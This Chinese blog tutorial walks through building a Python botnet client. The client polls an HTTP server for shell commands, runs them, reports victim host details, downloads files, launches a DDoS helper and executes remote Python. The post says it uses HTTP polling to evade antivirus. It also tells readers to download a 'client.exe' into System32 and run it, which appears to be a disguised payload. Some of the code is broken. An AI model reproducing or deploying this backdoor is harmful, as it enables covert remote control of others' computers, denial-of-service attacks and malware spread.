Python 创建自己的交互式Shell和BotNet实现远程控制

Python 远程控制

本文仅为传递技术,如您用于非法用途,我们不会也不可能承担任何责任

本文由中国秦川联盟旗下氢氟安全组撰写,原文来自于中国秦川联盟博客(他*的这几天服务器崩了),我们不希望您转载本文,如果有非法爬虫爬取本文,本声明依然奏效,中国秦川联盟有权追责

以上声明将会覆盖 CC 4.0 BY-SA 部分协议,为防止爬虫,这里附上本文链接https://blog.csdn.net/weixin_42660646/article/details/105276372,如有发现,希望大家联系我或者直接联系作者删除,谢谢

网络上有很多远程控制的Python脚本,譬如TCP/IP反弹式Shell,相当一部分源码都是复制粘贴,甚至当我们也复制粘贴到本地也根本无法运行,各种Traceback看得人触目心惊,甚至再来一个Traceback most recent call last: C++ Error(论Python最恐怖的报错),就相当的惨淡而扯淡了。

当然也有相当一部分的脚本可以正常运行,他们用socket进行控制,当然还有较为高级的使用fabric或者paramiko的,我这里就不复制粘贴了,省的有抄袭嫌疑。

网上既然有能运行的Python Shell,我还写它做甚?当然有原因。这是一个安全性问题,当你自己写一个socket脚本,脚本模式还好,一旦编译(pyinstaller或者py2exe,当然我自己推荐pyinstallerpy2exe貌似不能打包单个文件,至少我用的时候是这样),某卫士和某管家都是立马报毒,就算你真的只是一个普通的基于socket的脚本,你没有软件的数字签名这些杀软也秒送你上西天,fabricparamiko同样难逃魔爪,想写个小工具立马报毒,又怎么能让别人放心呢?难不成用户一人一个Python?当然,我们可以用黑客的方式,使用PyCrypto对脚本进行加密,不过恶心的是,PyCrypto这家伙在Windows上面要多难装有多难装,以至于我们团队有人提到:他*的,我看见这PyCrypto就想骂人(这里一个星号代表啥你们都懂)。况且明明一个正常的小程序大材小用的用PyCrypto加密,想着也怎么不光彩,要是AES加密也被杀软的病毒研究团队破解了,这下socket这个库就废了。你可以试试百度:Pyinstaller打包报毒,我保证网页成捆计数。

那么这下凉犊子了,我这标题还是Python远程控制获取交互式Shell

经过测试某卫士某管家都不会拦截HTTP请求,因为在任何一个杀软看来,HTTP请求都似乎是正常的。那么我们便找到可乘之隙了,通过一个while True便可以实现客户端持续主动连接服务端,虽然HTTP协议也是基于socket,但因为HTTP Request和普通的socket的报文是不同的,就这样轻轻松松绕过了杀软。基本的HTTP请求是这样:


import requests
requests.get('Url')

我们在requests的语句套上trywhile,我们就可以成功实现主动获取命令了。
它现在看起来像这样:

import requests, time, json

while True:
    try:
        commands = json.loads(requests.get('Your URI').text) #使用reqests模块下载命令(该命令形式必须为dict),并使用json模块解析为dict变量
        os.system(commands['cmd']) #执行解析到的参数,我们在dict中加入"cmd"用以存储
    except:
        continue
    time.sleep(3.9/3/3) #不要问我为什么是这个数字,我们团队的人都知道

可是BUG就又这么来了,os.system的BUG是众多周知的,他不返回值就算了,他%&#±?@的还每次都弹个控制台窗口,度娘变给了回复:可以用os.popen

它执行和编译过程中似乎需要一个Windows系统插件,他貌似在新版本的Windows中被移除了,下文的代码中需要它(并不需要在编译以后安插在靶机中安插它,只需要安插你所编译完成的独立文件)。我这里附上自家的链接,它是从旧的版本的Windows系统上抠出来然后编译的模块,你需要将它移动至C:\Windows\System32\client\client.exe并双击运行它。当然,做人要小心谨慎一些,如果需要确认它的安全性,你可以使用查杀率最高的某卫士或者某管家等等的杀软进行查杀。运行后它应该不会有任何显示。如果你点击上面自家的链接无法下载,换这个

我们便很他*高兴的用了os.popen,我们便准备派出测试了,惊人的测试成功了,看到服务器上获取到的本地返回值,你应该能体会到我们的心情。这时候我们便编译了它,他很快的报错了。我们认为是pyinstaller的问题,重装了3遍,换了python版本(从3.6.8换成了3.9a3),这@fp#@)'的还是不行,我们变做了一个DEBUG版本,没有加入-w参数,意外的是,他竟然没有报错???我们便狠下心来,一行一行加try:...except Exception as e:...,然后把错误用win32api(这库必须从sourceforge上面下载安装软件,pip装不了)的Msgbox把报错弹出来,错误很有趣:WinError 5: 句柄无效。这要不是我开发过一个用Selemuim配合Google Chrome进行的QQ自动化举报测试软件,我们绝对要放弃治疗。也就是说,我们亲爱的os.popen必须在有控制台的情况下运行,不带控制台就没用。我的朋友就颓废的说:那好吧,再去找。我们就找到了subprocess,最开始他还是报错的,后来在一个博文上找到了答案,我实在是找不到这篇文章在哪里了,否则我100%上门道谢。

# import subprocess first
try:
    p = subprocess.Popen("Enter the command you got from your server here.", shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) #参数一个都不能差
    result = p.stdout.read()
    retval = p.wait()
except Exception as e:
    print("错误:{}".format(e))
print(result.decode('gbk','ignore')) #注意,不加入DECODE函数100%乱码,'ignore'参数表示忽略错误字符

我们将它封装在函数里以便于调用:

def run(cmd):
    #includes codes above, and replace "Enter the command you got from your server here." to "cmd".

现在它看起来像这样:

import requests, time, json, subprocess

def run(id, cmd):
    try:
        p = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        result = p.stdout.read()
        retval = p.wait()
    except Exception as e:
        print("错误:{}".format(e))

while True:
    try:
        commands = json.loads(requests.get('Your URI').text)
        run(commands['cmd'])
    except:
        continue
    time.sleep(3.9/3/3) 

我们很高兴,这么几行代码就实现了远程交互,正当我们高兴之余,BUG说来就来,这它*的cd为啥就没用,我再怎么cd desktopcd ..都没个啥用。还是度娘又一次告诉了我原因:Python的工作目录未改变。改变工作目录的方法为:

#import os first
os.chdir("Your path that you want to change.")

同样,我们封装一个函数,如下:

def cd(path):
    try:
        os.chdir(path)
    except Exception as e:
        print("错误:{}".format(e))

这时候,它看起来像这样:

import os, requests, time, json, subprocess

def cd(path):
    try:
        os.chdir(path)
    except Exception as e:
        print("错误:{}".format(e))

def run(id, cmd):
    try:
        p = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        result = p.stdout.read()
        retval = p.wait()
    except Exception as e:
        print("错误:{}".format(e))

while True:
    try:
        commands = json.loads(requests.get('Your URI').text)
        if commands['cmd'].replace(" ", "") == "cd":
            cd(commands['cmd'])
        run(commands['cmd'])
    except:
        continue
    time.sleep(3.9/3/3) 

目前还没有定义结果的回调,它看起来像这样:

def PushResult(result):
    data = {
        "result": result,
        }
    while True:
        try:
            response = post("http://Your Domain or IP address/result/", data=data).text #在服务端传回的Response中加入200字样以确保Shell回调运行正常
            if "200" in response:
                break
            else:
                raise
        except:
            print("Failed to push result.")
            continue

我们在命令函数中使用PushResult(result)方式来调用以上的函数。
它还可以被改进:

def PushResult(result):
    data = {
        "result": result,
        }
    while True:
        try:
            response = post("http://Your Domain or IP address/result/", data=data).text #在服务端传回的Response中加入200字样以确保Shell回调运行正常
            if "200" in response:
                break
            else:
                raise
        except ConnectionError:
            print("Failed to push result: Remote server does not open.")
            continue
        except Exception as e:
            print("Failed to push result: {}".format(e))
            continue

下面的问题是,在我拥有多台被捕获的计算机,如何判断计算机的唯一性?
查询了度娘,她说MAC是唯一的。我们便搜索的Python获取Hostname、Username以及MAC等的方式,如下:

# import re, socket, ctypes, uuid
# from requests import get

def IP():
    return re.findall(r'\d+.\d+.\d+.\d+', get("http://txt.go.sohu.com/ip/soip").text)[0]

def MAC():
    mac=uuid.UUID(int = uuid.getnode()).hex[-12:]
    return ":".join([mac[e:e+2] for e in range(0,11,2)])

def HOSTNAME():
    return socket.gethostname()

def Is_Admin():
    return bool(ctypes.windll.shell32.IsUserAnAdmin() if os.name == 'nt' else os.getuid() == 0)

不过,我们在测试的过程中,发现了其中两位团队成员的MAC都惊人的一夜之间发生了变化?!这个问题我们似乎没有办法解决,我并不清楚它是否是一个恶作剧。
为此,我们在Beta版本写入了以下代码:

def GUID():
    guid = str(uuid.uuid1()).split("-")
    guid = guid[1] + guid[2] + guid[4]
    return guid

事实上GUID和UUID没什么区别,前者的“G”表示“Global”,后者的“U”表示“Universal”。在C系列语言中常将其称为GUID,我这里为了不和函数名重复,故将其命名为GUID。

我们目前还需要如下代码,使捕获的客户端上线时我们能够知晓:

def Online():
    mac = MAC()
    username = os.environ['USERNAME']
    _os = platform.system()
    ipv4 = IP()
    hostname = HOSTNAME()
    admin = is_admin()
    guid = GUID()
    data = {
        "os": _os,
        "mac": mac,
        "ipv4": ipv4,
        "guid": guid,
        "username": username,
        "hostname": hostname,
        "admin": admin,
        }
    online = post("{}/online/".format("Your Server's Address"), data=data).text
    return json.loads(online)[0]["status"] # 这里的status是服务端传回的参数

如果你希望使你的脚本跨平台,那么你可以这样:

# import platform
Windows = True if platform.system() == "Windows" else False
Linux = True if platform.system() == "Linux" else False

def Online():
    mac = MAC()
    username = os.environ['USERNAME'] if Windows else os.environ['NAME'] # 在Linux中储存用户名的环境变量为'USER',这不同于Windows中的'USERNAME'
    _os = platform.system()
    ipv4 = IP()
    hostname = HOSTNAME()
    admin = is_admin()
    guid = GUID()
    data = {
        "os": _os,
        "mac": mac,
        "ipv4": ipv4,
        "guid": guid,
        "username": username,
        "hostname": hostname,
        "admin": admin,
        }
    online = post("{}/online/".format("Your Server's Address"), data=data).text
    return json.loads(online)[0]["status"]

这里我们在主函数中加入Online函数,用以使主控端知晓客户端的上线。它看起来像这样:

while True:
    try:
        Online()
    except ConnectionError:
        print("Failed to online: Server does not open.")
        continue
    except Exception as e:
        print("Failed to online: {}".format(e))
        continue
    # includes codes above

我们整合一下代码,它现在看起来像这样:

import os, requests, time, json, subprocess
import re, socket, ctypes, uuid
from requests import get

def cd(path):
    try:
        os.chdir(path)
    except Exception as e:
        print("错误:{}".format(e))

def Online():
    mac = MAC()
    username = os.environ['USERNAME']
    _os = platform.system()
    ipv4 = IP()
    hostname = HOSTNAME()
    admin = is_admin()
    guid = GUID()
    data = {
        "os": _os,
        "mac": mac,
        "ipv4": ipv4,
        "guid": guid,
        "username": username,
        "hostname": hostname,
        "admin": admin,
        }
    online = post("{}/online/".format("Your Server's Address"), data=data).text
    return json.loads(online)[0]["status"]

def StrictOnline():
    while True:
        try:
            Online()
        except ConnectionError:
            print("Failed to online: Server does not open.")
            continue
        except Exception as e:
            print("Failed to online: {}".format(e))
            continue

def run(id, cmd):
    try:
        p = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        result = p.stdout.read()
        retval = p.wait()
    except Exception as e:
        print("错误:{}".format(e))

while True:
    try:
        StrictOnline()
        commands = json.loads(requests.get('Your URI').text)
        if commands['cmd'].replace(" ", "") == "cd":
            cd(commands['cmd'])
        run(commands['cmd'])
    except:
        continue
    time.sleep(3.9/3/3) 

如果你希望你的脚本看起来专业一点,你可以这样:

import os, requests, time, json, subprocess
import re, socket, ctypes, uuid
from requests import get

def cd(path):
    try:
        os.chdir(path)
    except Exception as e:
        print("错误:{}".format(e))

def Online():
    mac = MAC()
    username = os.environ['USERNAME']
    _os = platform.system()
    ipv4 = IP()
    hostname = HOSTNAME()
    admin = is_admin()
    guid = GUID()
    data = {
        "os": _os,
        "mac": mac,
        "ipv4": ipv4,
        "guid": guid,
        "username": username,
        "hostname": hostname,
        "admin": admin,
        }
    online = post("{}/online/".format("Your Server's Address"), data=data).text
    return json.loads(online)[0]["status"]

def StrictOnline():
    while True:
        try:
            Online()
        except ConnectionError:
            print("Failed to online: Server does not open.")
            continue
        except Exception as e:
            print("Failed to online: {}".format(e))
            continue

def run(id, cmd):
    try:
        p = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        result = p.stdout.read()
        retval = p.wait()
    except Exception as e:
        print("错误:{}".format(e))

def Main():
    while True:
        try:
            StrictOnline()
            commands = json.loads(requests.get('Your URI').text)
            if commands['cmd'].replace(" ", "") == "cd":
                cd(commands['cmd'])
            run(commands['cmd'])
        except:
            continue
        time.sleep(3.9/3/3)

if __name__ == "__main__":
    Main() 

它和其上的脚本的效果是等同的,因为这是主程序,你并不需要去调用它,它built-in__name__参数时刻都是__main__

这么一个脚本固然不能满足计算机爱好者们的意淫,不能让对方下载文件怎么能行。代码如下:

# import shelx first, pip install shelx -i https://pypi.tuna.tsinghua.edu.cn/simple
def download(id, args):
    args = shlex.split(args)
    url = args[0]
    name = args[1]
    urltype = args[2]
    debug("Downloding {}".format(url))
    content = get(url)
    if urltype == "wb" or urltype == "ab":
        content = content.content
    else:
        content = content.text
    opens = open(name, urltype)
    opens.write(content)
    opens.close()
    PushResult(id, "下载完毕")

上面的参数id是服务端的命令唯一标识,你可以使用你自己的去替换它。

如果你想要做一个合格的僵尸网络或者渗透工具,像著名的metasploit framework一样,少了网络攻击可当然不能过关。

中国秦川联盟网络安全部氢氟安全组特此开发了独立版本,点击即可下载。它需要上述的组件,同上,你需要将它移动至C:\Windows\System32\client\client.exe并双击运行它。你可以将如下代码加入被控端主程序:

def ddos(id, args):
    args = shlex.split(args)
    ip = args[0]
    port = args[1]
    thread = args[2]
    time = args[3]
    p = subprocess.Popen("HFDDOS ip --port int(port), --thread int(thread) --time int(time))", shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) # 替换成参数
    PushResult(id, "已加入DDOS线程")

我们还添加了一些备用功能,大部分代码块并未开源:

def python(id, codes): # 远程执行Python命令
    exec(codes)
    PushResult(id, "已执行Python命令")

def importpkg(id, pkg): # 远程导入Python仓库
    exec("import {}".format(pkg))
    PushResult(id, "已导入")

importpkg直接使用会报错,因为在被控端并没有该模块。我们可以导入如下模块:

import sys
import importlib.abc
import imp
from urllib.request import urlopen
from urllib.error import HTTPError, URLError
from html.parser import HTMLParser

# Debugging
import logging
log = logging.getLogger(__name__)

# Get links from a given URL
def _get_links(url):
    class LinkParser(HTMLParser):
        def handle_starttag(self, tag, attrs):
            if tag == 'a':
                attrs = dict(attrs)
                links.add(attrs.get('href').rstrip('/'))
    links = set()
    try:
        log.debug('Getting links from %s' % url)
        u = urlopen(url)
        parser = LinkParser()
        parser.feed(u.read().decode('utf-8'))
    except Exception as e:
        log.debug('Could not get links. %s', e)
    log.debug('links: %r', links)
    return links

class UrlMetaFinder(importlib.abc.MetaPathFinder):
    def __init__(self, baseurl):
        self._baseurl = baseurl
        self._links = { }
        self._loaders = { baseurl : UrlModuleLoader(baseurl) }

    def find_module(self, fullname, path=None):
        log.debug('find_module: fullname=%r, path=%r', fullname, path)
        if path is None:
            baseurl = self._baseurl
        else:
            if not path[0].startswith(self._baseurl):
                return None
            baseurl = path[0]
        parts = fullname.split('.')
        basename = parts[-1]
        log.debug('find_module: baseurl=%r, basename=%r', baseurl, basename)

        # Check link cache
        if basename not in self._links:
            self._links[baseurl] = _get_links(baseurl)

        # Check if it's a package
        if basename in self._links[baseurl]:
            log.debug('find_module: trying package %r', fullname)
            fullurl = self._baseurl + '/' + basename
            # Attempt to load the package (which accesses __init__.py)
            loader = UrlPackageLoader(fullurl)
            try:
                loader.load_module(fullname)
                self._links[fullurl] = _get_links(fullurl)
                self._loaders[fullurl] = UrlModuleLoader(fullurl)
                log.debug('find_module: package %r loaded', fullname)
            except ImportError as e:
                log.debug('find_module: package failed. %s', e)
                loader = None
            return loader
        # A normal module
        filename = basename + '.py'
        if filename in self._links[baseurl]:
            log.debug('find_module: module %r found', fullname)
            return self._loaders[baseurl]
        else:
            log.debug('find_module: module %r not found', fullname)
            return None

    def invalidate_caches(self):
        log.debug('invalidating link cache')
        self._links.clear()

# Module Loader for a URL
class UrlModuleLoader(importlib.abc.SourceLoader):
    def __init__(self, baseurl):
        self._baseurl = baseurl
        self._source_cache = {}

    def module_repr(self, module):
        return '<urlmodule %r from %r>' % (module.__name__, module.__file__)

    # Required method
    def load_module(self, fullname):
        code = self.get_code(fullname)
        mod = sys.modules.setdefault(fullname, imp.new_module(fullname))
        mod.__file__ = self.get_filename(fullname)
        mod.__loader__ = self
        mod.__package__ = fullname.rpartition('.')[0]
        exec(code, mod.__dict__)
        return mod

    # Optional extensions
    def get_code(self, fullname):
        src = self.get_source(fullname)
        return compile(src, self.get_filename(fullname), 'exec')

    def get_data(self, path):
        pass

    def get_filename(self, fullname):
        return self._baseurl + '/' + fullname.split('.')[-1] + '.py'

    def get_source(self, fullname):
        filename = self.get_filename(fullname)
        log.debug('loader: reading %r', filename)
        if filename in self._source_cache:
            log.debug('loader: cached %r', filename)
            return self._source_cache[filename]
        try:
            u = urlopen(filename)
            source = u.read().decode('utf-8')
            log.debug('loader: %r loaded', filename)
            self._source_cache[filename] = source
            return source
        except (HTTPError, URLError) as e:
            log.debug('loader: %r failed. %s', filename, e)
            raise ImportError("Can't load %s" % filename)

    def is_package(self, fullname):
        return False

# Package loader for a URL
class UrlPackageLoader(UrlModuleLoader):
    def load_module(self, fullname):
        mod = super().load_module(fullname)
        mod.__path__ = [ self._baseurl ]
        mod.__package__ = fullname

    def get_filename(self, fullname):
        return self._baseurl + '/' + '__init__.py'

    def is_package(self, fullname):
        return True

# Utility functions for installing/uninstalling the loader
_installed_meta_cache = { }
def install_meta(address):
    if address not in _installed_meta_cache:
        finder = UrlMetaFinder(address)
        _installed_meta_cache[address] = finder
        sys.meta_path.append(finder)
        log.debug('%r installed on sys.meta_path', finder)

def remove_meta(address):
    if address in _installed_meta_cache:
        finder = _installed_meta_cache.pop(address)
        sys.meta_path.remove(finder)
        log.debug('%r removed from sys.meta_path', finder)

将以上脚本放在和主程序同目录下,将其命名为remoteimport.py,这时,在头部加入 :

from remoteimport import install_meta
install_meta("http://Your Remote Pkg Server:Your port")

注意在URI最后不要加上/,这是不合法的。这时候,我们在主控端的包路径下如C:\Programs\Python39\Lib\site-packages(Linux也支持,不过Linux下路径较多)目录下执行python -m http.server 端口,开启包服务器。

这样,你自己的被控端就基本搭建完成。如果喜欢的话,记着双击么么哒 。

点击
点击
双击
关注
么么哒

本文目前可能并不是最终版本,因为我们还需要权衡利弊,确保其中的代码不会被小人所利用。该程序的完整版我们已经开发并可以正常使用,我们很快会截取一些源码放在本文。我们保证不会任何组织和个体开放本源码,因为只能防得君子防不得小人。敬请关注我以获取最新消息。

如果您对于这些方面有兴趣,您可以私信我或访问我们的网站(副站:中国秦川联盟 - 中国站国际站这几天崩了)加入我们。

原创文章 10 获赞 5 访问量 5020

猜你喜欢

转载自blog.csdn.net/weixin_42660646/article/details/105276372